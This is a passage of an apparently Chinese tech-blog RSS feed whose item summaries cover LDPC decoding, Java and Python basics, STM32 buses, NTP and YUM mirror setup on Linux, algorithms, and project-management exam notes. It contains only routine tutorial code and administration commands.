LDPC码译码原理 LDPC码的译码原理是基于迭代译码的思想，通过迭代计算来逐步减小误码率。LDPC码的译码过程是将接收到的码字与校验矩阵进行乘积运算，得到一个校验方程组。然后，利用迭代算法对这个方程组进行求解，得到一个估计值。如果估计值与接收到的码字不同，则将估计值作为新的输入，重新进行迭代。&#xA;- LDPC码比特翻转译码原理 LDPC码的比特翻转译码原理是指，当硬解调之后的比特信息不满足校验方程组时，统计所有比特不满足校验方程的个数，并翻转不满足个数最多的比特值，用更新之后的码组再次译码，直至所有校验方程均得到满足或者达到迭代次数的上限。以下代码可以实现比特翻转的功能。&#xA;def match_cols(H, C): #在H中匹配C校验和，返回匹配到的列数，该列对应需要翻转的比特 H_tmp = np.hstack((H,np.zeros((H.shape[0],1))))*2-1 C_tmp = C*2-1 maxMat = np.matmul(C_tmp, H_tmp) flip = np.argmax(maxMat,axis=1) return flip def flip_function(flip, modulatedRe): #根据翻转位进行翻转 flip_mask = flip!</description>
    </item>
    <item>
      <title>七种方法实现异步编程</title>
      <link>https://bchobby.github.io/posts/07abbb7ff7232efacd06404e52d03244/</link>
      <pubDate>Sat, 08 Apr 2023 15:54:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07abbb7ff7232efacd06404e52d03244/</guid>
      <description> 1.线程Thread 直接继承Thread类是创建异步线程最简单的方式。首先，创建Thread子类，普通类或匿名内部类方式；然后创建子类实例；最后通过start0方法启动线程。&#xA;2.Future Java 从1.5版本开始，提供了Callable和Future，可以在任务执行完毕之后得到任务执行结果。&#xA;3.FutureTask FutureTask 实现了 RunnableFuture 接口，则RunnableFuture 接口继承了Runnable 接口和Future接口，所以可以将FutureTask对象作为任务提交给ThreadPoolExecutor去执行，也可以直接被Thread执行；又因为实现了 Future接口，所以也能用来获得任务的执行结果。&#xA;4.异步框架 CompletableFuture JDK1.8中，Java 提供了 CompletableFuture类，它是基于异步函数式编程。相对阻塞式等待返回结果，CompletableFuture可以通过回调的方式来处理计算结果，实现了异步非阻塞，性能更优。&#xA;5.SpringBoot 注解 @Async 6.Spring ApplicationEvent 事件 ApplicationContext 通过 ApplicationEvent类和 ApplicationListener 接口进行事件处理。如果将实现 ApplicationListener 接口的bean 注入到上下文中，则每次使用ApplicationContext 发布 ApplicationEvent时，都会通知该bean。本质上，这是标准的观察者设计模式。&#xA;7.消息队列 </description>
    </item>
    <item>
      <title>STM32中文手册解读（1）</title>
      <link>https://bchobby.github.io/posts/7c9391fac993344d4fbe87489429e1b4/</link>
      <pubDate>Sat, 08 Apr 2023 15:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c9391fac993344d4fbe87489429e1b4/</guid>
      <description>STM32中文手册的阅读 初学stm32，读手册是十分重要的。由于买了野火的开发板，最近也在学习，所以记录下学习的内容。&#xA;关于寄存器的描述：&#xA;首先对于STM32芯片基础知识的了解&#xA;STM32 芯片是已经封装好的成品，主要由内核和片上外设组成。若与电脑类比，内核与外设就如同电脑上的 CPU 与主板、内存、显卡、硬盘的关系。&#xA;STM32F103 采用的是 Cortex-M3 内核，内核即 CPU，由 ARM 公司设计。ARM 公司并不生产芯片，而是出售其芯片技术授权。芯片生产厂商(SOC)如 ST、TI、Freescale，负责在内核之外设计部件并生产整个芯片，这些内核之外的部件被称为核外外设或片上外设。如 GPIO、USART（串口）、I2C、SPI 等都叫做片上外设。&#xA;芯片（这里指内核，或者叫 CPU）和外设之间通过各种总线连接，其中驱动单元有 4个，被动单元也有 4 个，为了方便理解，我们都可以把驱动单元理解成是CPU 部分，被动单元都理解成外设。&#xA;1. ICode 总线&#xA;ICode 中的 I 表示 Instruction，即指令。我们写好的程序编译之后都是一条条指令，存放在 FLASH 中，内核要读取这些指令来执行程序就必须通过 ICode 总线，它几乎每时每刻都需要被使用，它是专门用来取指的。&#xA;2. 驱动单元&#xA;DCode 总线&#xA;DCode 中的 D 表示 Data，即数据，那说明这条总线是用来取数的。我们在写程序的时候，数据有常量和变量两种，常量就是固定不变的，用 C 语言中的 const 关键字修饰，是放到内部的 FLASH 当中的，变量是可变的，不管是全局变量还是局部变量都放在内部的SRAM。因为数据可以被 Dcode 总线和 DMA 总线访问，所以为了避免访问冲突，在取数的时候需要经过一个总线矩阵来仲裁，决定哪个总线在取数。&#xA;系统总线&#xA;系统总线主要是访问外设的寄存器，我们通常说的寄存器编程，即读写寄存器都是通过这根系统总线来完成的。&#xA;DMA 总线&#xA;DMA 总线也主要是用来传输数据，这个数据可以是在某个外设的数据寄存器，可以在SRAM，可以在内部的 FLASH。因为数据可以被 Dcode 总线和 DMA 总线访问，所以为了避免访问冲突，在取数的时候需要经过一个总线矩阵来仲裁，决定哪个总线在取数。&#xA;3. 被动单元</description>
    </item>
    <item>
      <title>Linux配置NTP时间同步</title>
      <link>https://bchobby.github.io/posts/e2cc0b9be7139e7a9bb460a9c91ef02f/</link>
      <pubDate>Sat, 08 Apr 2023 14:49:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2cc0b9be7139e7a9bb460a9c91ef02f/</guid>
      <description>1. NTP NTP是用来使计算机时间同步化的一种协议，它可以使计算机对其服务器或时钟源（如石英钟，GPS等等)做同步化，它可以提供高精准度的时间校正（LAN上与标准间差小于1毫秒，WAN上几十毫秒），且可介由加密确认的方式来防止恶毒的协议攻击。&#xA;2. NTP服务端配置 2.1. 检查系统是否安装了NTP包 linux系统一般自带NTP4.2，没有安装我们直接使用yum命令在线安装&#xA;sudo apt install ntp 2.2. NTP服务端配置文件编辑 vim /etc/ntp.conf 结果&#xA;2.2.1. 新增-权限配置 restrict 127.127.1.0restrict 192.168.31.0 mask 255.255.255.0 nomodify notrap 2.2.2. 改动-注释掉上级时间服务器地址 #server 0.centos.pool.ntp.org iburst#server 1.centos.pool.ntp.org iburst#server 2.centos.pool.ntp.org iburst#server 3.centos.pool.ntp.org iburst 2.2.3. 新增-上级时间服务器 server 127.127.1.0 # local clockfudge 127.127.1.0 stratum 10 2.3. 启动NTP时间服务器 service ntpd start 2.4. 设置NTP开机自动启动 chkconfig ntpd on 2.5. 查看NTP是否正常运行 netstat -tlunp | grep ntp 2.6. 配置防火墙过滤规则 /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT 2.</description>
    </item>
    <item>
      <title>【Java字符串】</title>
      <link>https://bchobby.github.io/posts/626b1b8d0e00ad677e33676b235eba94/</link>
      <pubDate>Sat, 08 Apr 2023 14:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/626b1b8d0e00ad677e33676b235eba94/</guid>
      <description>Java字符串 字符串是由数字、字母、下划线组成的一串字符。字符串是用于表示文本的数据类型，属于引用数据类型，在内存中的存储方式和数组类似，其中的每个字符都能够读取。&#xA;文章目录 Java字符串创建字符串字符串的操作字符串拼接字符串的长度字符串大小写转换字符串消除空格字符串截取字符串分割字符串替换字符串比较字符串查找 创建字符串 字符串是Java中较为特殊的类，由Java类库中提供一个String类用于创建和操作字符串，被广泛应用于Java编程中。在Java中定义一个字符串最直接的方法就是使用双引号将字符括起来，或者使用new关键字新建一个字符串对象。&#xA;常见构造字符串的方法&#xA;方法一：使用双引号(“”)&#xA;String str = &#34;Hello Java&#34;; 使用双引号引起来的字符本身就是一个字符串对象，所以可以将其赋值给String字符串类型的变量。&#xA;方法二：使用new关键字创建一个字符串对象&#xA;String str = new String(&#34;Hello Java&#34;); Java中的String类有11种构造方法可以构造字符串，根据传入的参数不同调用不同的构造方法去构造字符串，如传入字符数组作为参数。&#xA;方法三：传入字符数组作为参数创建对象&#xA;char[] ch = {&#39;H&#39;,&#39;e&#39;,&#39;l&#39;,&#39;l&#39;,&#39;o&#39;,&#39; &#39;,&#39;J&#39;,&#39;a&#39;,&#39;v&#39;,&#39;a&#39;}; String s = new String(ch); System.out.println(s); //执行结果 Hello Java 在Java底层中存储字符串的方式也是类似于存储字符数组的方法，所以其中的每个元素才能单独访问。&#xA;注意事项：&#xA;在java中，String类是不可变的，对String类的任何改变，都是返回一个新的String类对象。如&#34;Hello Java&#34;这样用双引号引起来的字面值常量，也是String类型的字符串对象。String是引用数据类型，所以其内存布局如下图所示。 【内部布局图片】&#xA;字符串的操作 Java中的String类提供了许多方便操作字符串的方法。&#xA;方法名说明char charAt(int index)返回指定索引位置的字符String concat(String str)拼接指定字符串到一个字符串的尾部boolean equals(Object anObject)将字符串与指定对象作比较boolean equalsIgnoreCase(String anotherString)将两个字符串作比较，不考虑大小写int indexOf(char ch / String str)查找指定字符/字符串在字符串中第一次出现的位置，并返回对应的索引值int indexOf(char ch / String str, int fromIndex)从指定索引开始查找字符/字符串第一次出现的位置，并返回对应的索引值int length()返回字符串的长度String replace(char oldChar, char newChar)将字符串中的所有oldChar字符替换成newChar字符，并返回替换后新字符串String replaceFirst(String regex, String replacement)使用给定的 replacement 替换此字符串匹配给定的正则表达式的第一个子字符串String replaceAll(String regex, String replacement)使用给定的 replacement 替换此字符串所有匹配给定的正则表达式的子字符串。String[] split(String regex)根据给定正则表达式的匹配拆分此字符串为字符串数组，不限制个数。String[] split(String regex, int limit)根据给定正则表达式的匹配拆分此字符串为字符串数组，限制字符串数组元素个数为limit个String subString(int beginIndex)从begineIndex索引开始截取字符串String subString(int beginIndex, int endIndex)从begineIndex索引开始截取字符串到endIndex索引为止char[] toCharArray()将字符串转换为字符数组String toLowerCase()将字符串中的字符全部转换为小写String toUpperCase()将字符串中的字符全部转换为大写String trim()去除字符串首尾的空格boolean isEmpty()判断字符串是否为空 字符串拼接 &#34;</description>
    </item>
    <item>
      <title>【Java基础语法】</title>
      <link>https://bchobby.github.io/posts/3ea3b76afaae0eb9530e4305bfabcb32/</link>
      <pubDate>Sat, 08 Apr 2023 12:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea3b76afaae0eb9530e4305bfabcb32/</guid>
      <description>Java基础语法 Java标识符 概念：标识符是用于给类、对象、方法、变量、接口以及自定义的数据类型命名的。在Java中，变量、常量、方法、接口等都有自己的名字，将这些名字统称为标识符&#xA;Java中的标识符由数字、字母和下划线(__)，美元符( ) 或者人民币符号 ( ¥ ) 组成的， ∗ ∗ 而且还要求不能以数字或者除美元符 ( )或者人民币符号(¥)组成的，**而且还要求不能以数字或者除美元符( )或者人民币符号(¥)组成的，∗∗而且还要求不能以数字或者除美元符()、人民币符号(¥)的特殊字符开头**，最为重要的就是，不能使用Java中的关键字作为标识符&#xA;而既然要命名，那需要注意的就是命名的规则：&#xA;大小写敏感：Java是对大小写敏感的，这意味着&#34;Hello&#34;和&#34;hello&#34;是不同的类和接口名：对于类和接口，使用的是大驼峰的命名规则，即每个字的首字母大写，含有大小写。例如，MyClass，HelloWorld，Person等。方法名：对于方法，使用的是小驼峰的命名规则，即首字符小写，其余的首字母大写，含大小写。例如，myName，helloWorld等。常量名：基本数据类型的常量名使用全部大写字母，字与字之间使用下划线分隔。例如，MY_NAME，PORT等。变量名：变量名推荐的也是使用小驼峰命名，但并不是硬性要求，而最好可以做到见名知义，名字尽量有些含义。 Java关键字 Java关键字是Java语言中事先定义好的，对Java编译器具有特殊意义的标识符，可以使用这些关键字来告诉编译器这是一个类、一个方法或一个数据类型等，所以不能使用关键字作为标识符。&#xA;Java中定义了如下关键字：&#xA;类型关键字说明基本数据类型byte字节型char字符型short短整型int整型long长整型float单精度浮点型double双精度浮点型boolean布尔型权限修饰符public公共的protected受保护的default默认的private私有的类、方法和变量修饰符abstract声明抽象class定义类extends继承final不可改变的implements实现接口interface定义接口native本地方法(非Java实现)new创建static静态strictfp严格、精确synchronized线程，同步transient声明不用序列化的成员域volatile表明两个或者多个变量必须同步地发生变化void声明当前成员方法没有返回值程序控制break提前跳出一个代码块continue回到一个代码块的开始if表示条件语句结构else用在条件语句中，表明当条件不成立时的分支switch表示分支语句结构case用在switch语句之中，表示其中的一个分支do用在do-while循环结构中while表示循环语句结构for表示循环语句结构return返回instanceof用于检测一个对象是否为指定类型的实例对象异常处理try尝试一个可能抛出异常的程序块catch捕捉一个程序块可能抛出的异常finally无论是否捕捉到异常都会执行的代码块thorw抛出一个异常对象throws声明一个异常可能被抛出assert断言，主要用于调试引用super表明当前对象的父类型的引用或者父类型的构造方法this当前实例对象的引用保留字goto是Java中不起作用的关键字,一样不能作为标识符使用const 以上就是Java中的关键字，也就是具有特殊意义的标识符，他们用来表示一种数据类型，或者表示程序的结构等，null也属于保留字，和关键字一样,也不可以作为标识符使用。&#xA;Java注释 在编写Java程序期间，通常都需要对程序进行一定的注释，在方便别人阅读，让别人更好理解所编写的程序的同时，也方便自己阅读。&#xA;Java中的注释主要分为以下三种：&#xA;单行注释：// 注释内容（用的最多）多行注释：/* 注释内容*/（不推荐） 文档注释： /** 文档注释 */（常见于方法和类之上描述方法和类的作用)，可用来自动生成文档 下面是演示：&#xA;public class Test { /** * 这是一个文档注释 * @param args */ public static void main(String[] args) { // 这时单行注释演示 /* 这也是单行注释演示 */ /* * 这是一个多行注释 * 同时注释若干行 */ System.out.println(&#34;hello world&#34;); } } 注释的作用是为了提高代码的可读性，使得Java程序逻辑条理清晰，使用注释修饰的字符会被编译器忽略。</description>
    </item>
    <item>
      <title>Python变量命名5大规则！</title>
      <link>https://bchobby.github.io/posts/faeed20f462fc78d76f77e0964fa84bc/</link>
      <pubDate>Sat, 08 Apr 2023 10:36:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faeed20f462fc78d76f77e0964fa84bc/</guid>
      <description>Python变量名不是随便乱起，需要遵循以下规则：&#xA;1、只能字母、下划线开头，不能数字开头。变量用小写字母开头是 Python 的惯例，也是编码的好习惯，大家要养成好习惯哟。 大家可以动手试试上面4个变量名哪个是正确的，尝试打开编辑器定义变量输出，看看有什么提示。&#xA;实际上面4个变量名，只有第一个变量名是正确的，后面3个都是错误的。如果运行，将会有如下类似的错误提示：&#xA;2、变量名不能有空格，可以用下划线；&#xA;3、Python内置的关键字和函数不能用，比如说if、for、while、print、input等等；&#xA;4、变量名称对大小写敏感，比如：myname和myName不是同一个变量；&#xA;5、小写字母l和大写字母O尽量不要用于变量名，容易看成数字1和0 。&#xA;以上5条Python变量命名规则，请牢记！ 最后，小编送给各位一句代码，试试打印输出效果是什么。&#xA;print(&#34;Hello World !\n&#34;*500) 对于初学者想更轻松的学好Python开发，爬虫技术，Python数据分析，人工智能等技术，这里也给你准备了一套系统学习资源。&#xA;文中所展示的资料全部都是免费分享，点击下方链接添加微信即可免费获取！&#xA;戳这里 👉 【读者福利】Python经典学习资料免费分享，领走不谢！ 👈&#xA;👉 1.确定好自己的学习路线 👈&#xA;无论做什么事，或者学什么技能，在一开始就要有所规划，所以我们要事先确定好自己的学习路线，这是非常重要的，能够在我们学习的时候使得我们的思路更为清晰。&#xA;👉 2.Python必备开发工具 👈&#xA;工欲善其事必先利其器，既然我们要学习Python，那么想与之的开发工具必须要先行安装好，利用好工具能让我们事半功倍。&#xA;👉 3、Python学习视频合集 👈&#xA;观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。&#xA;👉 4.实战案例 👈&#xA;光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;👉 5.一百道Python练习题 👈&#xA;学而不练则罔,练而不学则殆，检查学习结果，是优秀人员必备的。&#xA;👉 资料领取 👈&#xA;文中所展示的资料全部都是免费分享，点击下方链接添加微信即可免费获取！&#xA;戳这里 👉 【读者福利】Python经典学习资料免费分享，领走不谢！ 👈</description>
    </item>
    <item>
      <title>git bash反应慢解决办法</title>
      <link>https://bchobby.github.io/posts/62d48ec3447a8987ae7eb431d5928dcc/</link>
      <pubDate>Sat, 08 Apr 2023 10:12:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62d48ec3447a8987ae7eb431d5928dcc/</guid>
      <description>方法来源于其他网友，感谢其他网友的尝试和分享。&#xA;方法众多，我试了一个比较有效的方法就是不使用git bash，而是使用没有爆露的bash.exe文件。&#xA;我们在windows下面一般用git bash的方法就是，在所在文件夹右键，选择git bash here，这样打开的就是一个类linux的命令行窗口，这种窗口，输入命令后反应速度就慢。要想快，就不要用这种方式输入git 命令，而是用安装目录下面bin/bash.exe文件。&#xA;可以给这个文件创建一个快捷方式，然后可以指定打开的快捷键和默认打开的路径。&#xA;这样以后使用git时，就双击这个快捷方式就可以打开bash.exe。&#xA;你会发现，使用bash.exe，那是真的快，纵享丝滑。</description>
    </item>
    <item>
      <title>数据结构与算法入门(follow 左神)</title>
      <link>https://bchobby.github.io/posts/c25acb7804adb711500a2234b9e55443/</link>
      <pubDate>Fri, 07 Apr 2023 23:08:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c25acb7804adb711500a2234b9e55443/</guid>
      <description>文章目录 一. 认识时间复杂度和简单排序算法1.以选择排序为例2.异或运算3.插入排序4.二分查找5.对数器 二. 认识O(NlogN)的排序1.递归==栈的后序遍历2.归并排序3.快速排序 三.详解桶排序以及排序内容大总结1.堆结构(优先级队列)2.比较器3.桶排序4.排序总结 四.链表1.哈希表和有序表2.链表 五.二叉树1.哈希表和有序表2.BFS宽度优先遍历(层次遍历)3.套路题（可树型DP） 六.图1.定义好通用的图所需结构2.BFS和DFS + 拓扑排序3.kruskal算法（边）和Prim算法（点）【无向图】4.Dijkstra:单元最短路径 七.详解前缀树和贪心算法1.前缀树2.贪心算法3.字典序证明4.其他题目 八.暴力递归1.N皇后2.暴力递归冲冲冲 Ending 本文是跟着左程云老师在b站发布的视频教程所记录的算法入门笔记，左神算法班&#xA;总共分为八节，一些相关代码和重点思路分析 大多已在下文呈现&#xA;一. 认识时间复杂度和简单排序算法 1.以选择排序为例 第一遍的时候，查询了n次，比较了n次，交换了1次；第二遍，查询n-1次，比较了n-1次，交换1次；。。。所以时间复杂度是O(n) ^2&#xA;算法分析先看时间复杂度指标，再分析不同数据样本下的实际运行时间，也就是&#34;常数项时间&#34;&#xA;额外空间复杂度指的是除去存放必要数据外，所需的空间。&#xA;2.异或运算 不同为1，相同为0；同时可以理解成无进位相加&#xA;1）0^N=N; N^N=0&#xA;2）交换律：a^b = b^a;结合律 (a^b) ^c= a^(b ^c)&#xA;第一题：已知一个数组中，只有一种数出现了奇数次，其余都是出现偶数次，请问怎么找到这种数&#xA;第二题：如果两种数出现了奇数次呢，怎么找到？ 要求O(N)时间，O(1)空间。&#xA;第一题int eor=0和数组中全部异或得到的数就是结果，因为偶数次的结果都没了；相当于消消乐&#xA;第二题先按照第一题得到int eor=a^b; 由于a！=b,所以eor！=0&#xA;==&amp;gt; eor在32位比特位中至少有1位是1，假设是第8位，那么a和b的第八位一定一个是1，一个是0，不然得不到1这个异或结果&#xA;==&amp;gt; int eor2去异或数组中所有第8位不是1/不是0的数，最后结果一定是a or b；相当于将整个数组根据第8位是否是1分成两部分，这两部分分别包含a和b以及其他偶数次的数字&#xA;==&amp;gt; 最后再将eor^eor2得到另一个数&#xA;int rightOne = eor &amp;amp; (~eor + 1); //提取最右侧的1 eor和eor的补码进行 同1得1，有0则0 的与运算 int onlyOne = 0; for (int cur : arr) { if ((cur &amp;amp; rightOne) !</description>
    </item>
    <item>
      <title>javaSE-值传递和引用传递</title>
      <link>https://bchobby.github.io/posts/887a2c72d8bb2ec7015f11171b0f261c/</link>
      <pubDate>Fri, 07 Apr 2023 21:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/887a2c72d8bb2ec7015f11171b0f261c/</guid>
      <description>1、值传递和引用传递&#xA;当参数类型是基本数据类型时，传递的是实参的值，因此无法对实参进行修改。&#xA;当参数类型是非基本数据类型时，传递的是实参内存地址的拷贝，此时形参和实参都可以对此对象的字段进行修改，但是互相无法影响对方本身。&#xA;class Person { String name; int money; } class Client { public static void main(String[] args) { // Create a person named Bob and he has no money. Person person = new Person(); person.name = &#34;Bob&#34;; person.money = 0; // Check the person, if he has no money, set it as null check(person); // If the person turned to null, print he has no money, otherwise print he&#39;s rich if (person == null) { System.</description>
    </item>
    <item>
      <title>使用reposync在CentOS下搭建YUM源服务器详解</title>
      <link>https://bchobby.github.io/posts/5675db04f6598131820c76a148189580/</link>
      <pubDate>Fri, 07 Apr 2023 21:17:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5675db04f6598131820c76a148189580/</guid>
      <description>一：要求 1.这个yum源服务器要能够定期自动更新自身源&#xA;2.使用CentOS官方标准源version6和version7的两个版本保持更新&#xA;3.linux(mini)客户端可以在使用的时候直接使用源，比如直接命令：yum –y install pcre*&#xA;二、思路 1.能够定期更新的源，肯定是需要计划任务通过执行命令脚本来实现&#xA;2.国内的不错的源&#xA;http://mirrors.aliyun.com/ （阿里云）&#xA;http://centos.ustc.edu.cn/centos/ （中国科学技术大学，教育网线路 -官方镜像）&#xA;在我安装的时候，我特意去查找了一下资料，大部分的这类镜像服务，都关闭了rsync的直接同步功能，为的是节省公用带宽。包括目前的中国科学技术大学，有明确的通知。&#xA;所以我最终会使用reposync来实现同步。&#xA;3.要让客户端可以直接使用源，只用更改其/etc/yum.repo.d/下repo文件内容就可以了，后面会有讲到。&#xA;三、搭建yum源的server端 0. 简介&#xA;reposync 命令简单来说就是可以把指定外网源（repo id）的包同步到本地文件中&#xA;1. 安装 reposync 命令&#xA;[root@V10SP1-1 ~]# yum install -y dnf-plugins-core&#xA;2. 常用选项以及参数&#xA;选项&#xA;含义&#xA;-c [file]&#xA;指定配置文件运行（默认配置文件是 /etc/yum.conf ）&#xA;-q&#xA;静谧运行&#xA;-v&#xA;显示详细操作&#xA;-h&#xA;获取帮助&#xA;-b&#xA;尝试使用最佳的软件包版本&#xA;-C&#xA;只从系统缓存中运行，不更新缓存&#xA;-R [min]&#xA;最大命令等待时间&#xA;-y&#xA;所有回答都是 yes&#xA;-x [package]&#xA;排除哪些包&#xA;-n repoid=[]&#xA;只下载最新的包，相同的跳过&#xA;-p&#xA;指定下载路径&#xA;--delete&#xA;删除已不在仓库中的本地软件包</description>
    </item>
    <item>
      <title>软考高项第4版教程-差异点解析来啦（第18章）</title>
      <link>https://bchobby.github.io/posts/5bf8c7633bd0fd1048b5e5e8b0fa4323/</link>
      <pubDate>Fri, 07 Apr 2023 20:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bf8c7633bd0fd1048b5e5e8b0fa4323/</guid>
      <description>继续高项信息系统项目管理师第4版教程的差异点解析，今天带来第18章的解析。&#xA;估计还会有朋友问，上次解析到了第5章，这次怎么直接跳到了第18章呢？中间的章节不解析了吗？&#xA;其实上次已经预报过了，这次在开头再解释下，咱们这次解析的重点在“差异点”3个字，我先把差异变化比较大的章节解析完成，再回头看是否有必要把变化不大的16章也依次做个重要考点的解析。&#xA;“项目绩效域”文字版 可以看出来，第18章是第4版教程完全新增加的章节和考点，这一章的结构非常整齐一致，每一个绩效域都分成了3部分，分别是“绩效要点” 、“与其他绩效域的相互作用”和“执行效果检查” 。我对知识点的梳理和考点的把控也是按照这3部分，针对每个绩效域展开的。&#xA;不过我对先后顺序做了调整，把绩效域的目标和执行效果检查放在一起学习，之后才是绩效要点。&#xA;这样调整顺序后，更加符合我们认知和学习的习惯。你想想，我们先学目标，学完目标后紧跟着学习目标如何实现，也就是执行效果检查，最后学习绩效要点。&#xA;绩效要点我个人认为是本章的学习重点，而与其他绩效域的相互作用部分，最多会在论文中考到，但是谁也不知道会不会考，所以呢，目前看边书理解下就好了，暂时先不作为考试重点。&#xA;好，分析完这一章的学习方法和侧重点之后，咱们逐个快速过一下8个项目绩效域。&#xA;1. 第1个绩效域是干系人绩效域&#xA;干系人绩效域有4个目标，分别是：与干系人建立高效的工作关系、干系人认同项目目标、支持项目的干系人提高了满意度，并从中收益、反对项目的干系人没有对项目产生负面影响&#xA;这些目标如何衡量有没有实现呢？我建议你学习的时候直接跳到后面的“执行效果检查”表格，对照着学习和理解（其他绩效域相同，后面不再赘述）&#xA;干系人绩效域和目标对应的指标及检查方法有：干系人参与的连续性、变更的频率、干系人行为/干系人满意度/干系人相关问题和风险&#xA;干系人绩效域的绩效要点，第4版教程用了一个闭环图来描述，分别是识别、理解、分析、优先级排序、参与和监督。&#xA;2. 第2个绩效域是团队绩效域&#xA;团队绩效域有3个目标，分别是：共享责任、建立高绩效团队、所有团队成员都展现出相应的领导力和人际关系技能&#xA;与之对应的，团队绩效域有3个指标及检查方法：目标和责任心、信任与协作程度/适应变化的能力/彼此赋能和管理和领导力风格适宜性&#xA;干系人绩效域的绩效要点也有3部分，分别是项目团队文化、高绩效项目团队和领导力技能。每个要点都讲了比较多的条目，这么多条目不用刻意去记忆，理解就好。&#xA;3. 第3个绩效域是开发方法和生命周期绩效域&#xA;团队绩效域有3个目标，分别是：开发方法与项目可交付物相符合、将项目交付与干系人价值紧密关联、项目生命周期由促进交付节奏的项目阶段和产生项目交付物所需的开发方法组成&#xA;与之对应的，团队绩效域有3个指标及检查方法：产品质量和变更成本、价值导向型项目阶段、适宜的交付节奏和开发方法&#xA;干系人绩效域的绩效要点包含4部分，分别是交付节奏、开发方法的选择、开发方法、协调交付节奏和开发方法。&#xA;其中交付节奏分为 一次性交付、多次交付、定期交付和持续交付，多次交付和定期交付的区别是个很小的知识点，看一眼就能掌握；&#xA;开发方法分为预测型方法、适应型方法和混合型方法，你需要掌握3种方法的区别和适用场景。&#xA;4. 第4个绩效域是规划绩效域&#xA;规划绩效域有6个目标，相对比较多，分别是：项目以有条理、协调一致的方式推进、应用系统的方法交付项目成果、对演变情况进行详细说明、规划投入的时间成本是适当的、规划的内容对管理干系人的需求而言是充分的、可以根据新出现的和不断变化的需求进行调整&#xA;与之对应的，规划绩效域也有6个指标及检查方法：绩效偏差 ，绩效偏差处于临界值范围内；规划的整体性，没有差距或不一致之处；规划的详尽程度；规划适宜性；规划的充分性；可适应变化&#xA;规划绩效域的绩效要点更多，包含8部分，分别是规划的影响因素、项目估算、项目团队组成和结构规划、沟通规划、实物资源规划、采购规划、变更规划、度量指标和一致性&#xA;5. 第5个绩效域是项目工作绩效域&#xA;项目工作绩效域有7个目标，相对比较多，分别是：高效且有效的项目绩效、适合项目和环境的项目过程、干系人适当的沟通和参与、对实物资源进行了有效管理、对采购进行了有效管理、有效处理了变更、通过持续学习和过程改进提高了团队能力&#xA;与之对应的，项目工作绩效域也有7个指标及检查方法：状态报告、过程的适宜性/过程相关性和有效性、沟通有效性、资源利用率、采购过程适宜、变更处理情况、团队绩效&#xA;项目工作绩效域的绩效要点更多，包含8部分，分别是项目过程、项目制约因素、专注于工作过程和能力、管理沟通和参与、管理实物资源、处理采购事宜、监督新工作和变更、学习和持续改进&#xA;6. 第6个绩效域是交付绩效域&#xA;交付绩效域有5个目标，分别是：项目有助于实现业务目标和战略、项目实现了预期成果、在预定时间内实现了项目收益、项目团队对需求有清晰的理解、干系人接受项目可交付物和成果，并对其满意&#xA;与之对应的，交付绩效域也有5个指标及检查方法：目标一致性、项目完成度、项目收益、需求稳定性、干系人满意度、质量问题&#xA;交付绩效域的绩效要点包含3部分，分别是价值的交付、可交付物和质量&#xA;7. 第7个绩效域是度量绩效域&#xA;度量绩效域有4个目标，分别是：对项目状况充分理解、数据充分，可支持决策、及时采取行动，确保项目最佳绩效、能够基于预测和评估作出决策，实现目标并产生价值&#xA;度量绩效域的指标及检查方法主要是围绕度量结果和工作绩效数据展开&#xA;度量绩效域的绩效要点包含6部分，分别是制定有效的度量指标、度量内容及相应指标、展示度量信息和结果、度量陷阱、基于度量进行诊断和持续改进&#xA;8. 第8个绩效域是不确定性绩效域&#xA;不确定性绩效域有7个目标，分别是：了解项目的运行环境，包括技术、社会、政治、市场和经济环境等；积极识别、分析和应对不确定性；了解项目中多个因素之间的相互依赖关系；能够对威胁和机会进行预测，了解问题的后果；最小化不确定性对项目交付的负面影响；能够利用机会改进项目的绩效和成果；有效利用成本和进度储备，与项目目标保持一致等&#xA;与之对应的，不确定性绩效域也有7个指标及检查方法：环境因素、风险应对措施、应对措施适宜性、风险管理机制或系统、项目绩效处于临界值内、利用机会的机制和储备使用&#xA;不确定性绩效域的绩效要点包含4部分，分别是风险、模糊性、复杂性、不确定性的应对方法&#xA;好，这8个绩效域说完了，不知道你有什么感觉，反正我最大的感觉是，这一章一马平川看到底，和第1-5章形成了强烈的反差。&#xA;第1-5章的章节结构比较复杂，如果你想用一句话来介绍，还真不太容易。但是第18章介绍起来就很容易：第18章介绍了8个绩效域，每个绩效域介绍了目标、检查方法和绩效要点。&#xA;介绍起来就是这样简单，但是学习起来可能困难在于记忆，而非理解&#xA;不知道你是否和我的感受一样？&#xA;“项目绩效域”脑图版 除了上面介绍的差异点之外，我还结合我的理解，制作了第18章的重点考点的思维导图&#xA;我在思维导图中，不仅把本章重要知识点摘录出来，而且也提供了新版教程的差异点及我的备考建议，这样你可以在复习学习时，对照思维导图进行学习。&#xA;由于图片上传时会被自动压缩，如果图片看不清，或者想要全高清的思维导图PDF版，为遵守平台纪律，请勿再私信索要。真想要PDF等资料的话，你也可以试试到其他地方找找我。&#xA;找到我是咱们的缘分，找不到我就在这里也挺好，一起加油，谢谢支持和理解</description>
    </item>
    <item>
      <title>React项目开发代码格式化规范</title>
      <link>https://bchobby.github.io/posts/5c671a657bb0320107a6beb0135395e0/</link>
      <pubDate>Fri, 07 Apr 2023 18:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c671a657bb0320107a6beb0135395e0/</guid>
